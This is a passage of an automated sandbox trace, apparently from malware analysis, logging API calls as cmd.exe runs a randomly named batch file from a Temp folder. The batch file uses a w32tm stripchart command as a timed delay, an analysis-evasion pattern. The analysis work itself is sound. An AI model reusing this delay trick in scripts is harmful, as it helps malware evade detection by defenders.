(HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8de0) returned 0x20 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c20e0) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c20e0) returned 0x18 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c8f90) returned 1 [0137.479] GetProcessHeap () returned 0x2781b7c0000 [0137.479] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c8f90) returned 0x20 [0137.480] GetProcessHeap () returned 0x2781b7c0000 [0137.480] GetProcessHeap () returned 0x2781b7c0000 [0137.480] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4a90) returned 1 [0137.480] GetProcessHeap () returned 0x2781b7c0000 [0137.480] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4a90) returned 0x18 [0137.480] exit (_Code=0) Thread: id = 161 os_tid = 0x1380 Process: id = "16" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4c6e5000" os_pid = "0x13c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x388" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat\" " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3325 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3326 start_va = 0x2e6c290000 end_va = 0x2e6c38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002e6c290000" filename = "" Region: id = 3327 start_va = 0x2e6c400000 end_va = 0x2e6c5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002e6c400000" filename = "" Region: id = 3328 start_va = 0x1fb1eda0000 end_va = 0x1fb1edbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1eda0000" filename = "" Region: id = 3329 start_va = 0x1fb1edc0000 end_va = 0x1fb1edd4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fb1edc0000" filename = "" Region: id = 3330 start_va = 0x1fb1ede0000 end_va = 0x1fb1ede3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fb1ede0000" filename = "" Region: id = 3331 start_va = 0x1fb1edf0000 end_va = 0x1fb1edf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fb1edf0000" filename = "" Region: id = 3332 start_va = 0x1fb1ee00000 end_va = 0x1fb1ee01fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1ee00000" filename = "" Region: id = 3333 start_va = 0x7df5ff940000 end_va = 0x7ff5ff93ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff940000" filename = "" Region: id = 3334 start_va = 0x7ff6749f0000 end_va = 0x7ff674a12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6749f0000" filename = "" Region: id = 3335 start_va = 0x7ff674ba0000 end_va = 0x7ff674bf9fff monitored = 1 entry_point = 0x7ff674bb53f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3336 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3345 start_va = 0x1fb1ee10000 end_va = 0x1fb1f05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1ee10000" filename = "" Region: id = 3346 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3347 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3348 start_va = 0x1fb1eda0000 end_va = 0x1fb1edaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fb1eda0000" filename = "" Region: id = 3349 start_va = 0x7ff6748f0000 end_va = 0x7ff6749effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6748f0000" filename = "" Region: id = 3350 start_va = 0x1fb1ee10000 end_va = 0x1fb1eecdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3351 start_va = 0x1fb1ef60000 end_va = 0x1fb1f05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1ef60000" filename = "" Region: id = 3431 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3432 start_va = 0x2e6c600000 end_va = 0x2e6c6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002e6c600000" filename = "" Region: id = 3433 start_va = 0x1fb1eed0000 end_va = 0x1fb1ef1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1eed0000" filename = "" Region: id = 3434 start_va = 0x1fb1edb0000 end_va = 0x1fb1edb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1edb0000" filename = "" Region: id = 3435 start_va = 0x1fb1eed0000 end_va = 0x1fb1eed6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1eed0000" filename = "" Region: id = 3436 start_va = 0x1fb1ef10000 end_va = 0x1fb1ef1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1ef10000" filename = "" Region: id = 3437 start_va = 0x7ffb15050000 end_va = 0x7ffb15059fff monitored = 0 entry_point = 0x7ffb150514a0 region_type = mapped_file name = "cmdext.dll" filename = "\\Windows\\System32\\cmdext.dll" (normalized: "c:\\windows\\system32\\cmdext.dll") Region: id = 3438 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3439 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3440 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3441 start_va = 0x1fb1eee0000 end_va = 0x1fb1eeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fb1eee0000" filename = "" Region: id = 3442 start_va = 0x1fb1f060000 end_va = 0x1fb1f396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3635 start_va = 0x1fb1ef20000 end_va = 0x1fb1ef40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Thread: id = 167 os_tid = 0x1328 [0139.536] GetProcAddress (hModule=0x7ffb1feb0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffb1cfd6e50 [0139.536] GetProcessHeap () returned 0x1fb1ef60000 [0139.536] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef6a5e0 [0139.536] GetProcessHeap () returned 0x1fb1ef60000 [0139.537] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a5e0) returned 1 [0139.541] _wcsicmp (_String1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", _String2=")") returned 58 [0139.542] _wcsicmp (_String1="FOR", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 3 [0139.542] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 3 [0139.542] _wcsicmp (_String1="IF", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 6 [0139.542] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 6 [0139.542] _wcsicmp (_String1="REM", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 15 [0139.542] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat") returned 15 [0139.542] GetProcessHeap () returned 0x1fb1ef60000 [0139.542] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef661d0 [0139.542] GetProcessHeap () returned 0x1fb1ef60000 [0139.542] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x80) returned 0x1fb1ef66290 [0139.542] GetProcessHeap () returned 0x1fb1ef60000 [0139.542] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x14) returned 0x1fb1ef67d30 [0139.543] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38f440, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0139.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.546] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2e6c38efd0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2e6c38efb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2e6c38efb0*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0139.546] GetProcessHeap () returned 0x1fb1ef60000 [0139.546] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x218) returned 0x1fb1ef66320 [0139.546] GetProcessHeap () returned 0x1fb1ef60000 [0139.546] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x84) returned 0x1fb1ef66540 [0139.546] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0139.546] GetProcessHeap () returned 0x1fb1ef60000 [0139.546] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x420) returned 0x1fb1ef665d0 [0139.546] SetErrorMode (uMode=0x0) returned 0x0 [0139.546] SetErrorMode (uMode=0x1) returned 0x0 [0139.547] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x1fb1ef665e0, lpFilePart=0x2e6c38ece0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp", lpFilePart=0x2e6c38ece0*="Temp") returned 0x28 [0139.547] SetErrorMode (uMode=0x0) returned 0x1 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef665d0, Size=0x80) returned 0x1fb1ef665d0 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef665d0) returned 0x80 [0139.547] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\.") returned 1 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x68) returned 0x1fb1ef66660 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xbc) returned 0x1fb1ef666d0 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef666d0, Size=0x68) returned 0x1fb1ef666d0 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef666d0) returned 0x68 [0139.547] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0139.547] GetProcessHeap () returned 0x1fb1ef60000 [0139.547] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xe8) returned 0x1fb1ef66750 [0139.551] GetProcessHeap () returned 0x1fb1ef60000 [0139.551] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef66750, Size=0x7e) returned 0x1fb1ef66750 [0139.551] GetProcessHeap () returned 0x1fb1ef60000 [0139.552] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef66750) returned 0x7e [0139.552] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.552] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), fInfoLevelId=0x1, lpFindFileData=0x2e6c38ea60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c38ea60) returned 0x1fb1ef667e0 [0139.553] GetProcessHeap () returned 0x1fb1ef60000 [0139.553] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, Size=0x28) returned 0x1fb1ef66840 [0139.553] FindClose (in: hFindFile=0x1fb1ef667e0 | out: hFindFile=0x1fb1ef667e0) returned 1 [0139.553] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0139.553] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0139.553] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38efc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0139.620] GetProcessHeap () returned 0x1fb1ef60000 [0139.620] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x1e8) returned 0x1fb1ef66870 [0139.620] ApiSetQueryApiSetPresence () returned 0x0 [0139.620] ResolveDelayLoadedAPI () returned 0x7ffb15051010 [0139.636] SaferWorker () returned 0x0 [0139.658] SetErrorMode (uMode=0x0) returned 0x0 [0139.658] SetErrorMode (uMode=0x1) returned 0x0 [0139.658] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", nBufferLength=0x104, lpBuffer=0x1fb1ef66330, lpFilePart=0x2e6c38ede0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", lpFilePart=0x2e6c38ede0*="cJ0G5QAkfh.bat") returned 0x37 [0139.658] SetErrorMode (uMode=0x0) returned 0x1 [0139.658] GetProcessHeap () returned 0x1fb1ef60000 [0139.658] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x80) returned 0x1fb1ef77c20 [0139.658] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0139.658] GetProcessHeap () returned 0x1fb1ef60000 [0139.658] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x12) returned 0x1fb1ef778a0 [0139.658] GetProcessHeap () returned 0x1fb1ef60000 [0139.658] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x14) returned 0x1fb1ef778c0 [0139.658] GetProcessHeap () returned 0x1fb1ef60000 [0139.658] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef778c0, Size=0x14) returned 0x1fb1ef778e0 [0139.658] GetProcessHeap () returned 0x1fb1ef60000 [0139.658] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef778e0) returned 0x14 [0139.658] CmdBatNotificationStub () returned 0x0 [0139.659] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2e6c38ee50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0139.660] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0139.660] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.660] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.660] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.660] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.660] ReadFile (in: hFile=0x88, lpBuffer=0x7ff674be5b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2e6c38ee10, lpOverlapped=0x0 | out: lpBuffer=0x7ff674be5b80*, lpNumberOfBytesRead=0x2e6c38ee10*=0xd6, lpOverlapped=0x0) returned 1 [0139.660] SetFilePointer (in: hFile=0x88, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0139.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="@echo off\r\n", cbMultiByte=11, lpWideCharStr=0x7ff674bd09e0, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0139.661] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.661] GetFileType (hFile=0x88) returned 0x1 [0139.661] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.661] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0139.661] GetProcessHeap () returned 0x1fb1ef60000 [0139.661] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef6a5e0 [0139.661] GetProcessHeap () returned 0x1fb1ef60000 [0139.662] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a5e0) returned 1 [0139.662] GetProcessHeap () returned 0x1fb1ef60000 [0139.662] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef794e0 [0139.662] _wcsicmp (_String1="echo", _String2=")") returned 60 [0139.663] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0139.663] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0139.663] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0139.663] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0139.663] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0139.663] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0139.663] GetProcessHeap () returned 0x1fb1ef60000 [0139.663] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef795a0 [0139.663] GetProcessHeap () returned 0x1fb1ef60000 [0139.663] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x1a) returned 0x1fb1ef76de0 [0139.663] GetProcessHeap () returned 0x1fb1ef60000 [0139.663] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x1a) returned 0x1fb1ef76e10 [0139.664] _tell (_FileHandle=3) returned 11 [0139.664] _close (_FileHandle=3) returned 0 [0139.665] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0139.665] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0139.665] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0139.665] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0139.665] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0139.665] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0139.665] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0139.665] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0139.665] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0139.665] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0139.665] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38ec00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0139.672] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0139.672] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0139.672] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0139.672] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0139.672] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0139.672] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0139.672] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0139.672] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0139.672] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0139.672] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0139.672] GetProcessHeap () returned 0x1fb1ef60000 [0139.672] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x24) returned 0x1fb1ef76ae0 [0139.672] GetProcessHeap () returned 0x1fb1ef60000 [0139.672] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef76ae0, Size=0x1a) returned 0x1fb1ef76c90 [0139.672] GetProcessHeap () returned 0x1fb1ef60000 [0139.672] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef76c90) returned 0x1a [0139.672] GetProcessHeap () returned 0x1fb1ef60000 [0139.672] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x24) returned 0x1fb1ef76b10 [0139.673] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0139.673] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.673] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0139.677] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.677] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff674bd960c | out: lpMode=0x7ff674bd960c) returned 1 [0139.680] _get_osfhandle (_FileHandle=0) returned 0x20 [0139.680] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff674bd9608 | out: lpMode=0x7ff674bd9608) returned 1 [0139.728] SetConsoleInputExeNameW () returned 0x1 [0139.728] GetConsoleOutputCP () returned 0x1b5 [0139.730] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff674bd9660 | out: lpCPInfo=0x7ff674bd9660) returned 1 [0139.730] SetThreadUILanguage (LangId=0x0) returned 0x409 [0139.736] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2e6c38ee50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0139.736] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0139.736] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.736] SetFilePointer (in: hFile=0x88, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0139.736] GetProcessHeap () returned 0x1fb1ef60000 [0139.737] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76b10) returned 1 [0139.737] GetProcessHeap () returned 0x1fb1ef60000 [0139.737] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76c90) returned 1 [0139.737] GetProcessHeap () returned 0x1fb1ef60000 [0139.737] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76e10) returned 1 [0139.737] GetProcessHeap () returned 0x1fb1ef60000 [0139.737] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76de0) returned 1 [0139.737] GetProcessHeap () returned 0x1fb1ef60000 [0139.737] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef795a0) returned 1 [0139.738] GetProcessHeap () returned 0x1fb1ef60000 [0139.738] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef794e0) returned 1 [0139.739] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.739] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0139.739] ReadFile (in: hFile=0x88, lpBuffer=0x7ff674be5b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2e6c38ee10, lpOverlapped=0x0 | out: lpBuffer=0x7ff674be5b80*, lpNumberOfBytesRead=0x2e6c38ee10*=0xcb, lpOverlapped=0x0) returned 1 [0139.739] SetFilePointer (in: hFile=0x88, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0139.739] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n", cbMultiByte=77, lpWideCharStr=0x7ff674bd09e0, cchWideChar=8191 | out: lpWideCharStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n") returned 77 [0139.741] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.741] GetFileType (hFile=0x88) returned 0x1 [0139.741] _get_osfhandle (_FileHandle=3) returned 0x88 [0139.741] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0139.741] GetProcessHeap () returned 0x1fb1ef60000 [0139.741] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef6a5e0 [0139.741] GetProcessHeap () returned 0x1fb1ef60000 [0139.742] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a5e0) returned 1 [0139.744] _wcsicmp (_String1="w32tm", _String2=")") returned 78 [0139.744] 